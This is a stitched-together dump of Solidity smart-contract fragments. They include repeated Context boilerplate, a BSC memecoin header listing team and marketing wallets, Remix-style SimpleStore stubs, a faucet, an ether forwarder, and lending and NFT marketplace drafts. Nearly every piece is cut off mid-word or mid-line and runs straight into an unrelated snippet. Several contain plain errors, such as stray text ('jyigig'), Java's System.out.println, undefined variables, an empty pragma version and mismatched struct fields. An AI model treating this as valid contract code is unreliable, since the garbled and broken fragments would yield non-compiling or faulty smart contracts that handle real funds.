* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the// SPDX-License-Identifier: Unlicensed
/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky
Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF
DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur.
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase.
Cryptocurrencies are not legal tender and are not investments.
This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the// SPDX-License-Identifier: Unlicensed
/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky
Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF
DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur.
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase.
Cryptocurrencies are not legal tender and are not investments.
This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* ther
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the/**
*Submitted for verification at polygonscan.com on 2021-07-30
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract/**
*Submitted for verification at polygonscan.com on 2021-07-30
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contractpragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _call() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) inter//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//SPDX-License-Identifier: MIT
pragma solidity 0.7.1;
contract KarmaGateway
{
/**
* Contract owner
**/
address payable owner;
/**
* Charity address
**/
address public charityAddress = 0xb5F0Cdc0370610980549F461E05b196578CC3D1D;
event Payment(address indexed sender, address indexed to, uint256 amount, uint256 fee);
event withdraw(address indexed _too, uint256 amount, uint256 timestamp);
constructor () {
owner = payable(address(msg.sender));
}
modifier onlyOwner() {
require(owner == msg.sender, "Only owner can execute this function");
_;
}
function setCharityAddresss(address payable _address) public onlyOwner
{
charityAddress = _address;
}
function pay(address payable _to, uint256 _fee) external payable {
require(msg.value > 0, "Must send BNB");
require(msg.value >= 0.01 ether, "The minimal transfer is 0.01 BNB");
require(_fee >= 2, "The minimal fee is/**
*Submitted for verification at Etherscan.io on 2021-07-19
*/
/*
*Only Shiba
*The Real NFT Game of Shiba Memes
*1,000,000 Token supply Only
*No Tax , all token use in Game with reward system
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: additi//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.17;
contract P2PLending {
//Global Counters for overall stats
uint totalNumLoans;
uint totalNumBorrowers;
uint totalNumInvestors;
uint totalNumFullyFundedLoans;
//Arrays to hold all of our investors and borrowers and loans
Investor[] public investors;
Borrower[] public borrowers;
Loan[] public loans;
//Mappings
mapping (address => uint) public borrowerNumLoans; //take a borrowerr address and get the number of loans they have in the marketplace
mapping (address => uint) public investorNumInvestments; //take an investor address and get the number of loans they are funding
mapping (uint => address) public borrowerToOwner; //take an id from our borrowers array and get the address of the borrower
mapping (uint => address) public investorToOwner; // take an id from our investors arrray and get the address of the investor
mapping (address => Borrower) public borro//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code
pragma solidity ^0.4.1;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/// @title Interface for contracts//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
enum Stage { None, Queued, Approval, Referendum, Execution, Expiration }
function gtApproval(Stage stage) public view returns (bool) {
return stage > Stage.Approval;
}
function isExpired(bool approved, Stage stage) public view returns (bool) {
return (/*stage > Stage.Approval &&*/ !approved);
}
function wtfBool() public view returns (bool) {
bool b = false;
return !b;
}
function banana() public view returns (Stage) {
Stage stage = Stage.Referendum;
return isExpired(false, stage) ? Stage.Expiration : stage;
}
function wtfStage(Stage stage) public view returns (Stage) {
return stage;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.0;
contract A {
uint8 public var1;
uint256 public var2;
// uint128 public var3;
function incVar1(uint8 v) external {
var1 += v; // 121763 gas in V4.12, 43874/26774 gas in V8.6
}
function incVar2(uint256 v) external {
var2 += v; // 43432/26523 gas in V4.12, 43600 gas in V8.6
}
// function incVar3(uint128 v) external {
// var3 += v; // 43917/26817 gas in V8.6
// }
// function incVar4(uint8 v) external {
// var2 += v; // 43706/26606 gas in V8.6
// }
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MyContract {
struct member {
address publicKey;
uint8 payDeposit;
bool penalized;
}
member [] members;
bool lotteryOpen;
uint256 startTime;
uint256 endBidingTime;
uint8 currentCapacity;
bool revealed;
uint8 winingPrize;
constructor(uint8 bidingDuration){
lotteryOpen = true;
startTime = block.timestamp;
endBidingTime = startTime + bidingDuration * 1 seconds;
currentCapacity = 3;
}
function acceptMember (string memory commitment,address publicKey) public{
require(block.timestamp < endBidingTime);
require(currentCapacity < 3);
member memory player = member(publicKey,commitment);
members.push(player);
currentCapacity+=1;
if (currentCapacity == 3){
Reveal();
}
}
function random() private view returns (uint) {
return uint(keccak256(abi.encodePacked(block.dif//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.7.0 <0.9.0;
contract Asset is Ownable {
address public originalOwner;
mapping(uint256 => address) ownerHistory;
mapping(uint256 => uint256) priceHistory;
uint256 public price = 0;
uint256 public royalty = 0;
uint256 private ownerIndex = 0;
bool public isLocked = false;
bool public canSell = false;
uint256 public tokenId;
MarketplaceProxy public marketplaceProxy;
event UpdatePrice (
address indexed _owner,
uint256 _previousPrice,
uint256 _newPrice,
uint256 _id
);
event UpdateRoyalty (
address indexed _owner,
uint256 _previousRoyalty,
uint256 _newRoyalty,
uint256 _id
);
event Purchase (
address indexed _recipient,
address indexed _buyee,
uint256 _price,
uint256 _id
);
event Transfer (
address indexed _from,
address indefunction addCoop(uint _coop_id, string memory _name) public isOwner {
bytes memory tmpRequire = bytes(coops[_coop_id]);//Convert to bytes in order to be able to use length
require(tmpRequire.length == 0, "Ya existe una coop con este ID");
coops[_coop_id] = _name;
coopsIndex.push(_coop_id);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
a=_b;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.1;
contract A {
uint256 a = 0;
uint256 b = a;
}
contract B {
uint256 a = 0;
uint64 b = uint64(a);
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract CoopChain {
address private owner;
struct Minute {
uint timestamp;
string coop;
string title;
string sign;
address[] signatures;
}
// mapping(uint => uint[]) public coopMinutes2; // [coop_id][minute_id];
mapping(uint => mapping(uint => Minute)) public coopMinutes; //Map 1 coop with many minutes. //To get all the coop's minutes
mapping(uint => address[]) public coopMembers; // Map 1 coop with many members, who can sign.
mapping(address => uint[]) public memberSigns; // Map one member with many signs. Kinda "Reversed by".
//Events
event MinuteAdded(bool success);
//Modifiers
modifier isOwner() {
require(msg.sender == owner, "Sender no autorizado.");
_;
}
modifier isMember() {
_;
}
constructor() {
owner = msg.sender;
}
function subscribeMinute(uint _coop_id, uint _minute_pragma solidity ^0.4.18;
/**
* Contract that will forward any incoming Ether to its creator
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public destinationAddress;
/**
* Create the contract, and set the destination address to that of the creator
*/
function Forwarder() public {
destinationAddress = msg.sender;
}
/**
* Default function; Gets called when Ether is deposited, and forwards it to the destination address
*/
function() payable public {
destinationAddress.transfer(msg.value);
}
/**
* It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the destination address.
*/
function flush() public {
destinationAddress.transfer(this.balance);
}
pragma solidity ^0.5.0;
contract HelloWorld {
string public hello = "Hi, Hello World from swzhouu!";
uint256 a = 125;
uint256 b = 10;
uint256[] private numbers;
mapping(string => uint256) public keyValueStore;
mapping(string => bool) public hashValue;
uint256 public keyValueLength;
constructor(uint256[] memory initData) public {
numbers = initData;
}
function pushNumber(uint256 newNumber) public {
numbers.push(newNumber);
}
function getNumber(uint256 index) public view returns(uint256) {
return numbers[index];
}
function getNumberLenght() public view returns(uint256) {
return numbers.length;
}
function setKeyValue(string memory key, uint256 value) public {
keyValueStore[key] = value;
if (hashValue[key] == false) {
keyValueLength += 1;
} else {
if (value == 0) {
keyValueLength -= 1;
}
}
pragma solidity ^0.8.0;
abstract contract ExternalContract {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
function balanceOf(address owner, uint256) public virtual returns (uint256);
}
contract LazyMarketplace {
address private _owner; //
uint256 private _lazyFee;
mapping (bytes32 => uint) private _listPrices;
address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
constructor(address _lazyWallet) {
_owner = msg.sender;
_lazyFee = 5;
}
// Allows a user to update the price (in WEI) of an ERC-721 token
pragma solidity ^0.8.0;
abstract contract ExternalContract {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
function balanceOf(address owner, uint256) public virtual returns (uint256);
}
contract LazyMarketplace {
address private _owner;
uint256 private _lazyFee;
mapping (bytes32 => uint) private _listPrices;
address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
constructor(address _lazyWallet) {
_owner = msg.sender;
_lazyFee = 5;
}
// Allows a user to update the price (in WEI) of an ERC-721 token
/**
*Submitted for verification at BscScan.com on 2021-06-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address s//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ;
contract SimpleStore {
function get()public pure returns (string memory) {
return "Hello WOrld";
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
jyigig
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
mapping(uint => bytes32) public signedDocs;
function newDoc(uint docId, bytes32 docHash) public {
require(signedDocs[docId] == bytes32(0x00));
signedDocs[docId] = docHash;
}
function get(uint docId) public constant returns (bytes32) {
return signedDocs[docId];
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract HelloWorld {
string private helloMessage = "Hello world";
function getHelloMessage() public view returns (string memory) {
return helloMessage;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract CoopChain {
address private owner;
//The array is just for query all the Cooperatives inside the contract.
string[] public cooperativesList;
//The mapping is just for having a reference about which coop own the minute. Kinda left join...
mapping(address => string) public cooperatives; //used on getCoop function
struct Minute {
uint id;
address coop_address;
string title;
string document;
string sign;
}
Minute public minute;
mapping(uint => Minute) public coopMinutes;
//Modifiers
modifier isOwner() {
require(owner == msg.sender, "Sender no autorizado.");
_;
}
constructor() {
owner = address(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
}
function subscribeMinute(uint _id, string memory _title, string memory _document, string memory _hash, address _coop_address) public i// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract A {
function print() public virtual pure returns (bytes32) {
return 0x0;
}
}
contract B {
function print() public virtual pure returns (uint256) {
return 200;
}
}
contract C is B, A {
function print() public pure override(A, B) returns (uint256) {
return super.print();
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
// Our first contract is a faucet!
contract Faucet {
// Give out ether to anyone who asks
function withdraw(uint withdraw_amount) public {
// Limit withdrawal amount
require(withdraw_amount <= 100000000000000000);
// Send the amount to the address that requested it
msg.sender.transfer(withdraw_amount);
}
// Accept any incoming amount
function () public payable {}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract PichuMuffin {
uint public fans = 0;
address private wallet;
constructor (address _wallet) public {
wallet = _wallet;
}
function like () public {
fans = fans + 1;
}
function getFans() public view returns (uint) {
return fans;
}
function isBestMuffin() public pure returns (bool) {
return true;
}
function lesserThan(uint a, uint b) public pure returns (bool) {
return a <= b;
}
function hasLotsOfFans() public view returns (bool) {
return lesserThan(1000, fans);
}
function notZero(uint number) internal pure returns (bool) {
return number != 0;
}
function isRecommended() public view returns (bool) {
return isBestMuffin() && notZero(fans);
}
function tip() public payable {
require(msg.value > 0);
wallet.transfer(msg.value);
}
function getBalance() public view returns (uint256) {
return address(wallet)//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract PichuCastle {
uint public timeout = 60;
uint private halfway = timeout / 2;
string private name = "pokemon";
function getHalfway() external view returns (uint) {
return halfway;
}
function getName() external view returns (string) {
return name;
}
}
contract PichuMuffin {
uint private likes = 0;
address private wallet;
constructor (address _wallet) public {
wallet = _wallet;
}
function tip() public payable {
require(msg.value >= 1);
wallet.transfer(msg.value);
}
function getBalance() public view returns (uint) {
return wallet.balance;
}
function like() public {
likes = likes + 1;
}
function getFans() public view returns (uint) {
return likes;
}
function isBestMuffin() public pure returns (bool) {
return true;
}
function lesserThan(uint a, uint b) public pure returns (bool) {
return a <= b;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
uint public timeout = 60;
string private name = "PichuCastle";
uint private halfway = timeout/2;
function getHalfway() external view returns (uint) {
return halfway;
}
function getName() external view returns (string) {
return name;
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
contract PichuMuffin {
uint public fans = 0;
function like() public {
fans = fans + 1;
}
function getFans() public view returns (uint) {
return fans;
}
function isBestMuffin() external pure returns (bool) {
return true;
}
function lesserThan(uint a, uint b) public pure returns (bool){
return a <= b;
}
function hasLotsOfFans() public view returns (bool){
return lesserThan(1000, fans);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
uint public timeout = 60;
string private PichuCastle = "PichuCastle";
uint private halfway = timeout/2;
function getHalfway() external view returns (uint) {
return halfway;
}
function getName() external view returns (string) {
return PichuCastle;
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
contract PichuMuffin {
uint public fans = 0;
function like() public {
fans = fans + 1;
}
function getFans() public view returns (uint) {
return fans;
}
function isBestMuffin() external pure returns (bool) {
return true;
}
function lesserThan(uint a, uint b) public view returns (bool){
return a <= b;
}
function hasLotsOfFans() public view returns (bool){
return lesserThan(1000, fans);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract PichuCastle {
uint public timeout = 60;
uint private halfway = timeout/2;
string private name = "Pichu";
// View functions ensure that they will not modify the state.
// For an external call, all function arguments have to be copied to memory.
function getHalfway() external view returns (uint) {
return halfway;
}
function getName() public view returns (string) {
return name;
}
}
contract PichuMuffin {
uint public fans = 0;
int money;
address private wallet;
// constructor(address _wallet) public {
// wallet = _wallet;
// }
function tip() public payable {
require(msg.value > 0);
wallet.transfer(msg.value);
}
function getBalance() public view returns (address)
{
return wallet;
}
function like() public
{
fans = fans + 1;
}
//The "constant" keyword means that function will not alter
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
System.out.println("test");
return value;
}
uint value;
pragma solidity >=0.5.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
